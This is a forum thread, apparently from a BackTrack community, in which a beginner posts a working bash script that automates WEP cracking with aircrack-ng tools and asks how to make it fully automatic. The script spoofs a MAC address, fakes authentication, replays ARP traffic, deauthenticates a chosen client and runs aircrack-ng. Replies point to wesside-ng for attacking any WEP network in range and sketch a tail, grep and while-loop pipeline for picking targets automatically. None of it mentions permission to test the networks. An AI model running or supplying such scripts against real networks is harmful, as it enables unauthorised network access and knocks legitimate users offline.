Page 1 of 2 12 LastLast
Results 1 to 10 of 11

Thread: semi auto WEP with station script....need advice..

  1. #1
    Just burned his ISO
    Join Date
    Feb 2009
    Posts
    4

    Red face semi auto WEP with station script....need advice..

    hi. 1st sorry about my english, i'm asian

    (fresh bt4 vm + edimark 7318usg)
    my script like:-

    Code:
    #!/bin/bash
    device=wlan0
    driver=rt73usb
    fake=00:11:22:33:44:55
    enc=1
    
    airmon-ng stop $device
    ifconfig $device down
    rmmod $driver
    modprobe $driver
    macchanger --mac 00:11:22:33:44:55 $device
    iwconfig $device mode monitor
    ifconfig $device up
    airmon-ng start $device
    airmon-ng stop mon0
    sudo rm *.txt
    sudo rm *.cap
    sudo rm *.sh~
    sudo rm *.arp-request
    sudo rm *.ivs
    sudo rm *.xor
    sudo rm *.csv
    clear
    
    echo ""
    echo "      ___________________________________________________  "
    echo "     |                                                   | "
    echo "     | chose your target, write down the ESSID,BSSID,ENC | "
    echo "     | CH,and STATION. Once done close 'MONITOR' konsole | "
    echo "     | and follow the instruction... have a nice day :-) | "
    echo "     |___________________________________________________| "
    echo ""
    
       konsole -T MONITOR --noclose -e airodump-ng $device
    
    echo ""
    read -p  "  A. CHANNEL (CH).......................?  " ch
    read -p  "  B. ESSID..............................?  " essid
    read -p  "  C. BSSID   xx:xx:xx:xx:xx:xx .........?  " bssid
    read -p  "  D. STATION xx:xx:xx:xx:xx:xx .........?  " station
    echo ""
    
    if [ $enc = 1 ]
    then
    airmon-ng start $device $ch
    airmon-ng stop mon0
    
    iwconfig $device rate 1M
    
     konsole -T table-A --noclose -e airodump-ng -c $ch --write key --bssid $bssid $device &
    sleep 3
     konsole -T table-B --noclose -e aireplay-ng -1 6000 -q 10 -o 1 -a $bssid -e $essid -h $fake $device &
    sleep 10
     konsole -T table-C --noclose -e aireplay-ng -3 -b $bssid -e $essid -h $fake $device &
    sleep 10
    konsole -T table-FLASH -e aireplay-ng -0 50 -a $bssid -c $station -h $fake $device &
    sleep 15
    clear
    echo "    please wait.........   "
    echo "    do not close any konsole until you got thr password at table-D  "
    sleep 30
            konsole -T table-D -e aircrack-ng key-01.cap
    clear
    echo ""
    echo "  :-) "
    exit
    fi
    any advice how to change to fully auto, mean
    i dont want write down the input..just want chose the AP and client mac on the list
    like
    Code:
         choose your AP target
    
              esssid        enc
          a. aztech1       (wep)   1
          b. aztech2       (wpa)   2
          c. aztech3       (opn)   3
    
    
         chose your client
    
              essid       station
              aztech1     xx:xx:xx:xx:xx:xx   1
                          xx:xx:xx:xx:xx:xx   2
                          xx:xx:xx:xx:Xx:xx   3
    then script auto run.
    my imagine is
    save any data when "MONITOR" run and recall back the data when "MONITOR" closed, how to make this script hapend..

  2. #2
    Very good friend of the forum Gitsnik's Avatar
    Join Date
    Jan 2010
    Location
    The Crystal Wind
    Posts
    851

    Default

    Quote Originally Posted by mael4704 View Post
    how to make this script hapend..
    wesside-ng, wepbuster, or one of a hundred others. I applaud your starting to make use of scripting tech for this sort of thing, but I suggest you apply your skills elsewhere.

    If you insist on not, why not look into transferring information around via sockets, named pipes or even just based on the logging information out of the airodump created .txt files with grep.

    I have a script around somewhere that airodump's, identifies a wep network and then runs wesside-ng against it - it's just a tail command attached to a grep and a while loop: tail airodump.log | grep WEP | grep OPN | while read BSSIDLINE; do blah; done
    Still not underestimating the power...

    There is no such thing as bad information - There is truth in the data, so you sift it all, even the crap stuff.

  3. #3
    Just burned his ISO
    Join Date
    Feb 2009
    Posts
    4

    Default

    Quote Originally Posted by Gitsnik View Post
    wesside-ng, wepbuster, or one of a hundred others. I applaud your starting to make use of scripting tech for this sort of thing, but I suggest you apply your skills elsewhere.

    If you insist on not, why not look into transferring information around via sockets, named pipes or even just based on the logging information out of the airodump created .txt files with grep.

    I have a script around somewhere that airodump's, identifies a wep network and then runs wesside-ng against it - it's just a tail command attached to a grep and a while loop: tail airodump.log | grep WEP | grep OPN | while read BSSIDLINE; do blah; done
    thanks for reply..
    i get my skills just on google only..
    computer, window arroud 1 year and linux(bt3&4) just 8 month, i'm so new on "this wold"

    nevermine
    u mean tail airodump.log | grep WEP | grep OPN | while read BSSIDLINE; do blah; done is part of script ?? seriously im noob...

    my script alreddy finish for wep with client & no client on fragment/chop2 and interactive attack at cople off week

    now i try make it fully auto..thnk for advice

  4. #4
    Very good friend of the forum Gitsnik's Avatar
    Join Date
    Jan 2010
    Location
    The Crystal Wind
    Posts
    851

    Default

    Honestly, this isn't really where you need to be if you're noobish to all this stuff, the distro isn't really for you.

    However, yes I did mean that part was a script - a bash script the same as you.
    Quote Originally Posted by mael4704 View Post
    now i try make it fully auto..thnk for advice
    wesside-ng *is* fully auto - the only reason I use the bash script I made pseudo-mention of above is because even the 1.0 version of wesside-ng sometimes tries to attack WPA networks when it shouldn't.

    Theoretically you should be able to just type "wesside-ng -i interface" and it will attack any WEP network in range - in practice you need to link airodump together with it so that you may process the channel and BSSID out to ensure wesside operates correctly.

    I strongly recommend you go and have a play with wesside-ng and learn it properly - it will save you a lot of time. Plus, the lack of duplication of code means you have a central point of "known good" when you are debugging the code you write to go around these tools.
    Still not underestimating the power...

    There is no such thing as bad information - There is truth in the data, so you sift it all, even the crap stuff.

  5. #5
    Just burned his ISO omegadamage's Avatar
    Join Date
    Jul 2009
    Posts
    8

    Default Hmm

    Think you should look into my scripts and forget all other LOL as they can be fuddled up if you know what I mean! Sorry Gitsnik mael4704 should learn a more stream lined script. More self explanatory and formed easier to learn at first and yes I am making my way back up the script kitty ladder to challenge you LOL.

    Omegadamage

  6. #6
    Very good friend of the forum Gitsnik's Avatar
    Join Date
    Jan 2010
    Location
    The Crystal Wind
    Posts
    851

    Default

    Quote Originally Posted by omegadamage View Post
    Sorry Gitsnik mael4704 should learn a more stream lined script.
    Oh I agree. It's just so... devastating... to see so many people... waste... talent on re-inventing the wheel (or the wep-script) when they could be investing time in other things.

    Hell, how many scripts do you know of that are capable of SKA as well? Let's see some more of those at least! But, unfortunately, one is continually subjected to an almost endless stream of talent being put to little use and less innovation. It is a shame to see so many of my/this generation doing this - not that my own contributions are massive, but I like to think they are, at least, new and/or innovative - or at least fill a gap.

    But now I sound like a pontificating old man rather than a twenty something programmer, so I better leave this here
    Still not underestimating the power...

    There is no such thing as bad information - There is truth in the data, so you sift it all, even the crap stuff.

  7. #7
    Developer balding_parrot's Avatar
    Join Date
    May 2007
    Posts
    3,399

    Default

    Quote Originally Posted by Gitsnik View Post
    Oh I agree. It's just so... devastating... to see so many people... waste... talent on re-inventing the wheel (or the wep-script) when they could be investing time in other things.

    Hell, how many scripts do you know of that are capable of SKA as well? Let's see some more of those at least! But, unfortunately, one is continually subjected to an almost endless stream of talent being put to little use and less innovation. It is a shame to see so many of my/this generation doing this - not that my own contributions are massive, but I like to think they are, at least, new and/or innovative - or at least fill a gap.

    But now I sound like a pontificating old man rather than a twenty something programmer, so I better leave this here
    Sorry but I see it differently. Ok they are reinventing the wheel, but so what. This may be one of their first scripts and using some of the previous and numerous similar scripts as examples will only serve to make their scripting better. So instead of complaining that they are reinventing the wheel, how about offering some constructive criticism and show them where they can make it better so they can learn even more from it. Who knows, they may even move on to greater and better scripts in areas where they are lacking and make everyone's life easier in the future.
    After all we all have to start somewhere and most books or experienced programmers will tell you to take an existing script, examine it and rewrite it yourself.

  8. #8
    Just burned his ISO omegadamage's Avatar
    Join Date
    Jul 2009
    Posts
    8

    Thumbs up

    balding_parrot
    After all we all have to start somewhere and most books or experienced programmers will tell you to take an existing script, examine it and rewrite it yourself.
    Yea, I would have to agree with you balding_parrot he should look at my script and reconfigure it the way he see fit.

  9. #9
    Just burned his ISO
    Join Date
    Feb 2009
    Posts
    4

    Default

    sorry if i missundertanding or all of you not understand what i say..
    for read 1 post i take 5-10 min with dictionary my language to english at my hand, huhuhu, my english so bad..

    Quote Originally Posted by Gitsnik View Post
    Honestly, this isn't really where you need to be if you're noobish to all this stuff, the distro isn't really for you.
    huhuh, so where i can start...on my window??? in 1st year used my 1st laptop..more than 5 time i reformat, like i say.. i'm so new on this world (computer/window/distro etc etc) why distro, because i used vmware image, when demage, i just plase a new copy..

    Quote Originally Posted by omegadamage View Post
    Think you should look into my scripts and forget all other LOL as they can be fuddled up if you know what I mean! Sorry Gitsnik mael4704 should learn a more stream lined script. More self explanatory and formed easier to learn at first and yes I am making my way back up the script kitty ladder to challenge you LOL.

    Omegadamage
    thanks bro, thats what i mean, want lern more stream lined script, if just want hack a WEP, used syantax command on aircrack-ng that enough..

    Quote Originally Posted by balding_parrot View Post
    Sorry but I see it differently. Ok they are reinventing the wheel, but so what. This may be one of their first scripts and using some of the previous and numerous similar scripts as examples will only serve to make their scripting better. So instead of complaining that they are reinventing the wheel, how about offering some constructive criticism and show them where they can make it better so they can learn even more from it. Who knows, they may even move on to greater and better scripts in areas where they are lacking and make everyone's life easier in the future.
    After all we all have to start somewhere and most books or experienced programmers will tell you to take an existing script, examine it and rewrite it yourself.
    yes, what i place on 1st post it's my first script and to make the script i take a couple of week and more week to compile WEP attck type .. mby it's so easy for someone but i'm start from here (BT) and from nothing,

    whay BT, because i interest with this distro and BT it's my first distro i used..


    thanks for all of you,

  10. #10
    Very good friend of the forum Gitsnik's Avatar
    Join Date
    Jan 2010
    Location
    The Crystal Wind
    Posts
    851

    Default

    Quote Originally Posted by mael4704 View Post
    huhuh, so where i can start...on my window??? in 1st year used my 1st laptop..more than 5 time i reformat, like i say.. i'm so new on this world (computer/window/distro etc etc) why distro, because i used vmware image, when demage, i just plase a new copy..
    I'm just a grumpy elitist really. When I started out I had to reinstall my machine 5 or 6 times a week as I played around and got to know what could or could not be changed. I had no internet connection at the time so I read every manual page I could and just figured it all out for myself. I took code that other people had written (what I could find from source drives) and enhanced it by trial and error. It was a good 2 years before I got an internet connection and could start asking people for help, as well as a job so I could start buying reference manuals. My elitist nature suggests that everyone should try this hard or harder to gain their knowledge - rather than just reinventing the wheel, learn how it works and then put new rubber on it.

    I much prefer the idea that you make use of omega's script and enhance from there - an enhancement is infinitely better than yet-another-hello-world script.

    By the by, I did suggest the enhancement (maybe not in the most articulate way) - when airodump is logging to file, it logs all the information you need, tail -f will keep printing that information line by line to the screen, grep does what grep does, and then you can use a bash "while read" combination to start kicking off your attack sequences.

    When my BT box is back and I recall to, I'll make a dump of the airodump/bash/wesside-ng script that I myself make use of. It's small and dirty but it's "yet-another-wep-script" that you or anyone else can look at.
    Still not underestimating the power...

    There is no such thing as bad information - There is truth in the data, so you sift it all, even the crap stuff.

Page 1 of 2 12 LastLast

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •